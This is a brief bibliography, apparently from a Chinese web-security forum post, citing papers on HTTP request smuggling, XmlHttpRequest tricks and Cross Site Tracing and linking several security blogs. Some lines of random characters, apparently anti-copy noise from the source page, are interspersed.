% r" ]% \( I3 A! ^2 p" z! n8 `& C本文引用文档资料:
. F+ b' k9 |% c& j& T6 [* G
" {/ d5 D1 v0 a; `1 T* C/ Z; x"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
Other XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
# J7 f  T* y3 }& E( khttp://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
空虚浪子心BLOG http://www.inbreak.net
Xeye Team http://xeye.us/